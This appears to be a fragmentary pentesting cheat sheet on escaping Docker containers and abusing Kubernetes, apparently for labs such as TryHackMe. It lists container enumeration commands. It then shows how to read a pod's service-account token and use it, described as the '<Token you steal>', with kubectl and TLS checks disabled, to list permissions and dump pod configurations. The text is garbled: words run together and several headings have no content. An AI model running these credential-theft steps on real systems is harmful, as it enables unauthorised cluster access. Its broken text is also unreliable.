Container/Sandbox Breakout
Virtual inceptions
Docker
cat /etc/hosts #check for container id leik 8u9ru98432
capsh --print #check current unix capabilites
ls -l /proc/*/ns #list proc
ls -al /dev/ | grep disk #check for disksKubernetes
cat /var/run/secrets/kubernetes.io/serviceaccount/tokenkubectl --token "$(cat token.txt)" --insecure-skip-tls-verify --server=https://team.thm:6443 auth can-i --listGet pods & configs
kubectl get pods -o yaml > backup.config \
--server="https://kube-serv:6443" \
--token='<Token you steal>' \
--insecure-skip-tls-verify=true Build & Deploy
Execute command
Basic commands
Last updated